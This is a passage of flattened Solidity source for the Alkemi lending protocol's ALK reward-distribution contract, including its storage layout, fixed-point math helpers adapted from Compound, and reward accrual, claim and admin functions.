address borrower,
bool isVerified
) internal {
if (address(rewardControl) == address(0)) {
return;
}
rewardControl.refreshAlkBorrowIndex(market, borrower, isVerified);
}
/**
* @notice Get supply and borrows for a market
* @param asset The market asset to find balances of
* @return updated supply and borrows
*/
function getMarketBalances(address asset)
public
view
returns (uint256, uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 marketSupplyCurrent;
uint256 newBorrowIndex;
uint256 marketBorrowCurrent;
Market storage market = markets[asset];
// Calculate the newSupplyIndex, needed to calculate market's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, marketSupplyCurrent) = calculateBalance(
market.totalSupply,
market.supplyIndex,
newSupplyIndex
);
revertIfError(err);
// Calculate the newBorrowIndex, needed to calculate market's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, marketBorrowCurrent) = calculateBalance(
market.totalBorrows,
market.borrowIndex,
newBorrowIndex
);
revertIfError(err);
return (marketSupplyCurrent, marketBorrowCurrent);
}
/**
* @dev Function to revert in case of an internal exception
*/
function revertIfError(Error err) internal pure {
require(
err == Error.NO_ERROR,
"Function revert due to internal exception"
);
}
}
// File: contracts/RewardControlStorage.sol
pragma solidity 0.4.24;
contract RewardControlStorage {
struct MarketState {
// @notice The market's last updated alkSupplyIndex or alkBorrowIndex
uint224 index;
// @notice The block number the index was last updated at
uint32 block;
}
// @notice A list of all markets in the reward program mapped to respective verified/public protocols
// @notice true => address[] represents Verified Protocol markets
// @notice false => address[] represents Public Protocol markets
mapping(bool => address[]) public allMarkets;
// @notice The index for checking whether a market is already in the reward program
// @notice The first mapping represents verified / public market and the second gives the existence of the market
mapping(bool => mapping(address => bool)) public allMarketsIndex;
// @notice The rate at which the Reward Control distributes ALK per block
uint256 public alkRate;
// @notice The portion of alkRate that each market currently receives
// @notice The first mapping represents verified / public market and the second gives the alkSpeeds
mapping(bool => mapping(address => uint256)) public alkSpeeds;
// @notice The ALK market supply state for each market
// @notice The first mapping represents verified / public market and the second gives the supplyState
mapping(bool => mapping(address => MarketState)) public alkSupplyState;
// @notice The ALK market borrow state for each market
// @notice The first mapping represents verified / public market and the second gives the borrowState
mapping(bool => mapping(address => MarketState)) public alkBorrowState;
// @notice The snapshot of ALK index for each market for each supplier as of the last time they accrued ALK
// @notice verified/public => market => supplier => supplierIndex
mapping(bool => mapping(address => mapping(address => uint256)))
public alkSupplierIndex;
// @notice The snapshot of ALK index for each market for each borrower as of the last time they accrued ALK
// @notice verified/public => market => borrower => borrowerIndex
mapping(bool => mapping(address => mapping(address => uint256)))
public alkBorrowerIndex;
// @notice The ALK accrued but not yet transferred to each participant
mapping(address => uint256) public alkAccrued;
// @notice To make sure initializer is called only once
bool public initializationDone;
// @notice The address of the current owner of this contract
address public owner;
// @notice The proposed address of the new owner of this contract
address public newOwner;
// @notice The underlying AlkemiEarnVerified contract
AlkemiEarnVerified public alkemiEarnVerified;
// @notice The underlying AlkemiEarnPublic contract
AlkemiEarnPublic public alkemiEarnPublic;
// @notice The ALK token address
address public alkAddress;
// Hard cap on the maximum number of markets
uint8 public MAXIMUM_NUMBER_OF_MARKETS;
}
// File: contracts/ExponentialNoError.sol
// Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a
pragma solidity 0.4.24;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract ExponentialNoError {
uint256 constant expScale = 1e18;
uint256 constant doubleScale = 1e36;
uint256 constant halfExpScale = expScale / 2;
uint256 constant mantissaOne = expScale;
struct Exp {
uint256 mantissa;
}
struct Double {
uint256 mantissa;
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint256 scalar)
internal
pure
returns (uint256)
{
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (uint256) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
function safe224(uint256 n, string memory errorMessage)
internal
pure
returns (uint224)
{
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint256 a, uint256 b) internal pure returns (uint256) {
return add_(a, b, "addition overflow");
}
function add_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint256 a, uint256 b) internal pure returns (uint256) {
return sub_(a, b, "subtraction underflow");
}
function sub_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Exp memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Double memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint256 a, uint256 b) internal pure returns (uint256) {
return mul_(a, b, "multiplication overflow");
}
function mul_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Exp memory b) internal pure returns (uint256) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return
Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Double memory b) internal pure returns (uint256) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint256 a, uint256 b) internal pure returns (uint256) {
return div_(a, b, "divide by zero");
}
function div_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint256 a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// File: contracts/RewardControl.sol
pragma solidity 0.4.24;
contract RewardControl is
RewardControlStorage,
RewardControlInterface,
ExponentialNoError
{
/**
* Events
*/
/// @notice Emitted when a new ALK speed is calculated for a market
event AlkSpeedUpdated(
address indexed market,
uint256 newSpeed,
bool isVerified
);
/// @notice Emitted when ALK is distributed to a supplier
event DistributedSupplierAlk(
address indexed market,
address indexed supplier,
uint256 supplierDelta,
uint256 supplierAccruedAlk,
uint256 supplyIndexMantissa,
bool isVerified
);
/// @notice Emitted when ALK is distributed to a borrower
event DistributedBorrowerAlk(
address indexed market,
address indexed borrower,
uint256 borrowerDelta,
uint256 borrowerAccruedAlk,
uint256 borrowIndexMantissa,
bool isVerified
);
/// @notice Emitted when ALK is transferred to a participant
event TransferredAlk(
address indexed participant,
uint256 participantAccrued,
address market,
bool isVerified
);
/// @notice Emitted when the owner of the contract is updated
event OwnerUpdate(address indexed owner, address indexed newOwner);
/// @notice Emitted when a market is added
event MarketAdded(
address indexed market,
uint256 numberOfMarkets,
bool isVerified
);
/// @notice Emitted when a market is removed
event MarketRemoved(
address indexed market,
uint256 numberOfMarkets,
bool isVerified
);
/**
* Constants
*/
/**
* Constructor
*/
/**
* @notice `RewardControl` is the contract to calculate and distribute reward tokens
* @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies
* @notice Hence this contract has an 'initializer' in place of a 'constructor'
* @notice Make sure to add new global variables only in a derived contract of RewardControlStorage, inherited by this contract
* @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade
*/
function initializer(
address _owner,
address _alkemiEarnVerified,
address _alkemiEarnPublic,
address _alkAddress
) public {
require(
_owner != address(0) &&
_alkemiEarnVerified != address(0) &&
_alkemiEarnPublic != address(0) &&
_alkAddress != address(0),
"Inputs cannot be 0x00"
);
if (initializationDone == false) {
initializationDone = true;
owner = _owner;
alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified);
alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic);
alkAddress = _alkAddress;
// Total Liquidity rewards for 4 years = 70,000,000
// Liquidity per year = 70,000,000/4 = 17,500,000
// Divided by blocksPerYear (assuming 13.3 seconds avg. block time) = 17,500,000/2,371,128 = 7.380453522542860000
// 7380453522542860000 (Tokens scaled by token decimals of 18) divided by 2 (half for lending and half for borrowing)
alkRate = 3690226761271430000;
MAXIMUM_NUMBER_OF_MARKETS = 16;
}
}
/**
* Modifiers
*/
/**
* @notice Make sure that the sender is only the owner of the contract
*/
modifier onlyOwner() {
require(msg.sender == owner, "non-owner");
_;
}
/**
* Public functions
*/
/**
* @notice Refresh ALK supply index for the specified market and supplier
* @param market The market whose supply index to update
* @param supplier The address of the supplier to distribute ALK to
* @param isVerified Specifies if the market is from verified or public protocol
*/
function refreshAlkSupplyIndex(
address market,
address supplier,
bool isVerified
) external {
if (!allMarketsIndex[isVerified][market]) {
return;
}
refreshAlkSpeeds();
updateAlkSupplyIndex(market, isVerified);
distributeSupplierAlk(market, supplier, isVerified);
}
/**
* @notice Refresh ALK borrow index for the specified market and borrower
* @param market The market whose borrow index to update
* @param borrower The address of the borrower to distribute ALK to
* @param isVerified Specifies if the market is from verified or public protocol
*/
function refreshAlkBorrowIndex(
address market,
address borrower,
bool isVerified
) external {
if (!allMarketsIndex[isVerified][market]) {
return;
}
refreshAlkSpeeds();
updateAlkBorrowIndex(market, isVerified);
distributeBorrowerAlk(market, borrower, isVerified);
}
/**
* @notice Claim all the ALK accrued by holder in all markets
* @param holder The address to claim ALK for
*/
function claimAlk(address holder) external {
claimAlk(holder, allMarkets[true], true);
claimAlk(holder, allMarkets[false], false);
}
/**
* @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only
* @param holder The address to claim ALK for
* @param market The address of the market to refresh the indexes for
* @param isVerified Specifies if the market is from verified or public protocol
*/
function claimAlk(
address holder,
address market,
bool isVerified
) external {
require(allMarketsIndex[isVerified][market], "Market does not exist");
address[] memory markets = new address[](1);
markets[0] = market;
claimAlk(holder, markets, isVerified);
}
/**
* Private functions
*/
/**
* @notice Recalculate and update ALK speeds for all markets
*/
function refreshMarketLiquidity()
internal
view
returns (Exp[] memory, Exp memory)
{
Exp memory totalLiquidity = Exp({mantissa: 0});
Exp[] memory marketTotalLiquidity = new Exp[](
add_(allMarkets[true].length, allMarkets[false].length)
);
address currentMarket;
uint256 verifiedMarketsLength = allMarkets[true].length;
for (uint256 i = 0; i < allMarkets[true].length; i++) {
currentMarket = allMarkets[true][i];
uint256 currentMarketTotalSupply = mul_(
getMarketTotalSupply(currentMarket, true),
alkemiEarnVerified.assetPrices(currentMarket)
);
uint256 currentMarketTotalBorrows = mul_(
getMarketTotalBorrows(currentMarket, true),
alkemiEarnVerified.assetPrices(currentMarket)
);
Exp memory currentMarketTotalLiquidity = Exp({
mantissa: add_(
currentMarketTotalSupply,
currentMarketTotalBorrows
)
});
marketTotalLiquidity[i] = currentMarketTotalLiquidity;
totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity);
}
for (uint256 j = 0; j < allMarkets[false].length; j++) {
currentMarket = allMarkets[false][j];
currentMarketTotalSupply = mul_(
getMarketTotalSupply(currentMarket, false),
alkemiEarnVerified.assetPrices(currentMarket)
);
currentMarketTotalBorrows = mul_(
getMarketTotalBorrows(currentMarket, false),
alkemiEarnVerified.assetPrices(currentMarket)
);
currentMarketTotalLiquidity = Exp({
mantissa: add_(
currentMarketTotalSupply,
currentMarketTotalBorrows
)
});
marketTotalLiquidity[
verifiedMarketsLength + j
] = currentMarketTotalLiquidity;
totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity);
}
return (marketTotalLiquidity, totalLiquidity);
}
/**
* @notice Recalculate and update ALK speeds for all markets
*/
function refreshAlkSpeeds() public {
address currentMarket;
(
Exp[] memory marketTotalLiquidity,
Exp memory totalLiquidity
) = refreshMarketLiquidity();
uint256 newSpeed;
uint256 verifiedMarketsLength = allMarkets[true].length;
for (uint256 i = 0; i < allMarkets[true].length; i++) {
currentMarket = allMarkets[true][i];
newSpeed = totalLiquidity.mantissa > 0
? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity))
: 0;
alkSpeeds[true][currentMarket] = newSpeed;
emit AlkSpeedUpdated(currentMarket, newSpeed, true);
}
for (uint256 j = 0; j < allMarkets[false].length; j++) {
currentMarket = allMarkets[false][j];
newSpeed = totalLiquidity.mantissa > 0
? mul_(
alkRate,
div_(
marketTotalLiquidity[verifiedMarketsLength + j],
totalLiquidity
)
)
: 0;
alkSpeeds[false][currentMarket] = newSpeed;
emit AlkSpeedUpdated(currentMarket, newSpeed, false);
}
}
/**
* @notice Accrue ALK to the market by updating the supply index
* @param market The market whose supply index to update
* @param isVerified Verified / Public protocol
*/
function updateAlkSupplyIndex(address market, bool isVerified) public {
MarketState storage supplyState = alkSupplyState[isVerified][market];
uint256 marketSpeed = alkSpeeds[isVerified][market];
uint256 blockNumber = getBlockNumber();
uint256 deltaBlocks = sub_(blockNumber, uint256(supplyState.block));
if (deltaBlocks > 0 && marketSpeed > 0) {
uint256 marketTotalSupply = getMarketTotalSupply(
market,
isVerified
);
uint256 supplyAlkAccrued = mul_(deltaBlocks, marketSpeed);
Double memory ratio = marketTotalSupply > 0
? fraction(supplyAlkAccrued, marketTotalSupply)
: Double({mantissa: 0});
Double memory index = add_(
Double({mantissa: supplyState.index}),
ratio
);
alkSupplyState[isVerified][market] = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
supplyState.block = safe32(
blockNumber,
"block number exceeds 32 bits"
);
}
}
/**
* @notice Accrue ALK to the market by updating the borrow index
* @param market The market whose borrow index to update
* @param isVerified Verified / Public protocol
*/
function updateAlkBorrowIndex(address market, bool isVerified) public {
MarketState storage borrowState = alkBorrowState[isVerified][market];
uint256 marketSpeed = alkSpeeds[isVerified][market];
uint256 blockNumber = getBlockNumber();
uint256 deltaBlocks = sub_(blockNumber, uint256(borrowState.block));
if (deltaBlocks > 0 && marketSpeed > 0) {
uint256 marketTotalBorrows = getMarketTotalBorrows(
market,
isVerified
);
uint256 borrowAlkAccrued = mul_(deltaBlocks, marketSpeed);
Double memory ratio = marketTotalBorrows > 0
? fraction(borrowAlkAccrued, marketTotalBorrows)
: Double({mantissa: 0});
Double memory index = add_(
Double({mantissa: borrowState.index}),
ratio
);
alkBorrowState[isVerified][market] = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
borrowState.block = safe32(
blockNumber,
"block number exceeds 32 bits"
);
}
}
/**
* @notice Calculate ALK accrued by a supplier and add it on top of alkAccrued[supplier]
* @param market The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function distributeSupplierAlk(
address market,
address supplier,
bool isVerified
) public {
MarketState storage supplyState = alkSupplyState[isVerified][market];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({
mantissa: alkSupplierIndex[isVerified][market][supplier]
});
alkSupplierIndex[isVerified][market][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa > 0) {
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint256 supplierBalance = getSupplyBalance(
market,
supplier,
isVerified
);
uint256 supplierDelta = mul_(supplierBalance, deltaIndex);
alkAccrued[supplier] = add_(alkAccrued[supplier], supplierDelta);
emit DistributedSupplierAlk(
market,
supplier,
supplierDelta,
alkAccrued[supplier],
supplyIndex.mantissa,
isVerified
);
}
}
/**
* @notice Calculate ALK accrued by a borrower and add it on top of alkAccrued[borrower]
* @param market The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function distributeBorrowerAlk(
address market,
address borrower,
bool isVerified
) public {
MarketState storage borrowState = alkBorrowState[isVerified][market];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({
mantissa: alkBorrowerIndex[isVerified][market][borrower]
});
alkBorrowerIndex[isVerified][market][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint256 borrowerBalance = getBorrowBalance(
market,
borrower,
isVerified
);
uint256 borrowerDelta = mul_(borrowerBalance, deltaIndex);
alkAccrued[borrower] = add_(alkAccrued[borrower], borrowerDelta);
emit DistributedBorrowerAlk(
market,
borrower,
borrowerDelta,
alkAccrued[borrower],
borrowIndex.mantissa,
isVerified
);
}
}
/**
* @notice Claim all the ALK accrued by holder in the specified markets
* @param holder The address to claim ALK for
* @param markets The list of markets to claim ALK in
* @param isVerified Verified / Public protocol
*/
function claimAlk(
address holder,
address[] memory markets,
bool isVerified
) internal {
for (uint256 i = 0; i < markets.length; i++) {
address market = markets[i];
updateAlkSupplyIndex(market, isVerified);
distributeSupplierAlk(market, holder, isVerified);
updateAlkBorrowIndex(market, isVerified);
distributeBorrowerAlk(market, holder, isVerified);
alkAccrued[holder] = transferAlk(
holder,
alkAccrued[holder],
market,
isVerified
);
}
}
/**
* @notice Transfer ALK to the participant
* @dev Note: If there is not enough ALK, we do not perform the transfer all.
* @param participant The address of the participant to transfer ALK to
* @param participantAccrued The amount of ALK to (possibly) transfer
* @param market Market for which ALK is transferred
* @param isVerified Verified / Public Protocol
* @return The amount of ALK which was NOT transferred to the participant
*/
function transferAlk(
address participant,
uint256 participantAccrued,
address market,
bool isVerified
) internal returns (uint256) {
if (participantAccrued > 0) {
EIP20Interface alk = EIP20Interface(getAlkAddress());
uint256 alkRemaining = alk.balanceOf(address(this));
if (participantAccrued <= alkRemaining) {
alk.transfer(participant, participantAccrued);
emit TransferredAlk(
participant,
participantAccrued,
market,
isVerified
);
return 0;
}
}
return participantAccrued;
}
/**
* Getters
*/
/**
* @notice Get the current block number
* @return The current block number
*/
function getBlockNumber() public view returns (uint256) {
return block.number;
}
/**
* @notice Get the current accrued ALK for a participant
* @param participant The address of the participant
* @return The amount of accrued ALK for the participant
*/
function getAlkAccrued(address participant) public view returns (uint256) {
return alkAccrued[participant];
}
/**
* @notice Get the address of the ALK token
* @return The address of ALK token
*/
function getAlkAddress() public view returns (address) {
return alkAddress;
}
/**
* @notice Get the address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract
* @return The address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract
*/
function getAlkemiEarnAddress() public view returns (address, address) {
return (address(alkemiEarnVerified), address(alkemiEarnPublic));
}
/**
* @notice Get market statistics from the AlkemiEarnVerified contract
* @param market The address of the market
* @param isVerified Verified / Public protocol
* @return Market statistics for the given market
*/
function getMarketStats(address market, bool isVerified)
public
view
returns (
bool isSupported,
uint256 blockNumber,
address interestRateModel,
uint256 totalSupply,
uint256 supplyRateMantissa,
uint256 supplyIndex,
uint256 totalBorrows,
uint256 borrowRateMantissa,
uint256 borrowIndex
)
{
if (isVerified) {
return (alkemiEarnVerified.markets(market));
} else {
return (alkemiEarnPublic.markets(market));
}
}
/**
* @notice Get market total supply from the AlkemiEarnVerified / AlkemiEarnPublic contract
* @param market The address of the market
* @param isVerified Verified / Public protocol
* @return Market total supply for the given market
*/
function getMarketTotalSupply(address market, bool isVerified)
public
view
returns (uint256)
{
uint256 totalSupply;
(, , , totalSupply, , , , , ) = getMarketStats(market, isVerified);
return totalSupply;
}
/**
* @notice Get market total borrows from the AlkemiEarnVerified contract
* @param market The address of the market
* @param isVerified Verified / Public protocol
* @return Market total borrows for the given market
*/
function getMarketTotalBorrows(address market, bool isVerified)
public
view
returns (uint256)
{
uint256 totalBorrows;
(, , , , , , totalBorrows, , ) = getMarketStats(market, isVerified);
return totalBorrows;
}
/**
* @notice Get supply balance of the specified market and supplier
* @param market The address of the market
* @param supplier The address of the supplier
* @param isVerified Verified / Public protocol
* @return Supply balance of the specified market and supplier
*/
function getSupplyBalance(
address market,
address supplier,
bool isVerified
) public view returns (uint256) {
if (isVerified) {
return alkemiEarnVerified.getSupplyBalance(supplier, market);
} else {
return alkemiEarnPublic.getSupplyBalance(supplier, market);
}
}
/**
* @notice Get borrow balance of the specified market and borrower
* @param market The address of the market
* @param borrower The address of the borrower
* @param isVerified Verified / Public protocol
* @return Borrow balance of the specified market and borrower
*/
function getBorrowBalance(
address market,
address borrower,
bool isVerified
) public view returns (uint256) {
if (isVerified) {
return alkemiEarnVerified.getBorrowBalance(borrower, market);
} else {
return alkemiEarnPublic.getBorrowBalance(borrower, market);
}
}
/**
* Admin functions
*/
/**
* @notice Transfer the ownership of this contract to the new owner. The ownership will not be transferred until the new owner accept it.
* @param _newOwner The address of the new owner
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != owner, "TransferOwnership: the same owner.");
newOwner = _newOwner;
}
/**
* @notice Accept the ownership of this contract by the new owner
*/
function acceptOwnership() external {
require(
msg.sender == newOwner,
"AcceptOwnership: only new owner do this."
);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
* @notice Add new market to the reward program
* @param market The address of the new market to be added to the reward program
* @param isVerified Verified / Public protocol
*/
function addMarket(address market, bool isVerified) external onlyOwner {
require(!allMarketsIndex[isVerified][market], "Market already exists");
require(
allMarkets[isVerified].length < uint256(MAXIMUM_NUMBER_OF_MARKETS),
"Exceeding the max number of markets allowed"
);
allMarketsIndex[isVerified][market] = true;
allMarkets[isVerified].push(market);
emit MarketAdded(
market,
add_(allMarkets[isVerified].length, allMarkets[!isVerified].length),
isVerified
);
}
/**
* @notice Remove a market from the reward program based on array index
* @param id The index of the `allMarkets` array to be removed
* @param isVerified Verified / Public protocol
*/
function removeMarket(uint256 id, bool isVerified) external onlyOwner {
if (id >= allMarkets[isVerified].length) {
return;
}
allMarketsIndex[isVerified][allMarkets[isVerified][id]] = false;
address removedMarket = allMarkets[isVerified][id];
for (uint256 i = id; i < allMarkets[isVerified].length - 1; i++) {
allMarkets[isVerified][i] = allMarkets[isVerified][i + 1];
}
allMarkets[isVerified].length--;
// reset the ALK speeds for the removed market and refresh ALK speeds
alkSpeeds[isVerified][removedMarket] = 0;
refreshAlkSpeeds();
emit MarketRemoved(
removedMarket,
add_(allMarkets[isVerified].length, allMarkets[!isVerified].length),
isVerified
);
}
/**
* @notice Set ALK token address
* @param _alkAddress The ALK token address
*/
function setAlkAddress(address _alkAddress) external onlyOwner {
require(alkAddress != _alkAddress, "The same ALK address");
require(_alkAddress != address(0), "ALK address cannot be empty");
alkAddress = _alkAddress;
}
/**
* @notice Set AlkemiEarnVerified contract address
* @param _alkemiEarnVerified The AlkemiEarnVerified contract address
*/
function setAlkemiEarnVerifiedAddress(address _alkemiEarnVerified)
external
onlyOwner
{
require(
address(alkemiEarnVerified) != _alkemiEarnVerified,
"The same AlkemiEarnVerified address"
);
require(
_alkemiEarnVerified != address(0),
"AlkemiEarnVerified address cannot be empty"
);
alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified);
}
/**
* @notice Set AlkemiEarnPublic contract address
* @param _alkemiEarnPublic The AlkemiEarnVerified contract address
*/
function setAlkemiEarnPublicAddress(address _alkemiEarnPublic)
external
onlyOwner
{
require(
address(alkemiEarnPublic) != _alkemiEarnPublic,
"The same AlkemiEarnPublic address"
);
require(
_alkemiEarnPublic != address(0),
"AlkemiEarnPublic address cannot be empty"
);
alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic);
}
/**
* @notice Set ALK rate
* @param _alkRate The ALK rate
*/
function setAlkRate(uint256 _alkRate) external onlyOwner {
alkRate = _alkRate;
}
/**
* @notice Get latest ALK rewards
* @param user the supplier/borrower
*/
function getAlkRewards(address user) external view returns (uint256) {
// Refresh ALK speeds
uint256 alkRewards = alkAccrued[user];
(
Exp[] memory marketTotalLiquidity,
Exp memory totalLiquidity
) = refreshMarketLiquidity();
uint256 verifiedMarketsLength = allMarkets[true].length;
for (uint256 i = 0; i < allMarkets[true].length; i++) {
alkRewards = add_(
alkRewards,
add_(
getSupplyAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
i,
i,
true
),
getBorrowAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
i,
i,
true
)
)
);
}
for (uint256 j = 0; j < allMarkets[false].length; j++) {
uint256 index = verifiedMarketsLength + j;
alkRewards = add_(
alkRewards,
add_(
getSupplyAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
index,
j,
false
),
getBorrowAlkRewards(
totalLiquidity,
marketTotalLiquidity,
user,
index,
j,
false
)
)
);
}
return alkRewards;
}
/**
* @notice Get latest Supply ALK rewards
* @param totalLiquidity Total Liquidity of all markets
* @param marketTotalLiquidity Array of individual market liquidity
* @param user the supplier
* @param i index of the market in marketTotalLiquidity array
* @param j index of the market in the verified/public allMarkets array
* @param isVerified Verified / Public protocol
*/
function getSupplyAlkRewards(
Exp memory totalLiquidity,
Exp[] memory marketTotalLiquidity,
address user,
uint256 i,
uint256 j,
bool isVerified
) internal view returns (uint256) {
uint256 newSpeed = totalLiquidity.mantissa > 0
? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity))
: 0;
MarketState memory supplyState = alkSupplyState[isVerified][
allMarkets[isVerified][j]
];
if (
sub_(getBlockNumber(), uint256(supplyState.block)) > 0 &&
newSpeed > 0
) {
Double memory index = add_(
Double({mantissa: supplyState.index}),
(
getMarketTotalSupply(
allMarkets[isVerified][j],
isVerified
) > 0
? fraction(
mul_(
sub_(
getBlockNumber(),
uint256(supplyState.block)
),
newSpeed
),
getMarketTotalSupply(
allMarkets[isVerified][j],
isVerified
)
)
: Double({mantissa: 0})
)
);
supplyState = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
} else if (sub_(getBlockNumber(), uint256(supplyState.block)) > 0) {
supplyState.block = safe32(
getBlockNumber(),
"block number exceeds 32 bits"
);
}
if (
isVerified &&
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0
) {
return
mul_(
alkemiEarnVerified.getSupplyBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: supplyState.index}),
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
}
if (
!isVerified &&
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0
) {
return
mul_(
alkemiEarnPublic.getSupplyBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: supplyState.index}),
Double({
mantissa: alkSupplierIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
} else {
return 0;
}
}
/**
* @notice Get latest Borrow ALK rewards
* @param totalLiquidity Total Liquidity of all markets
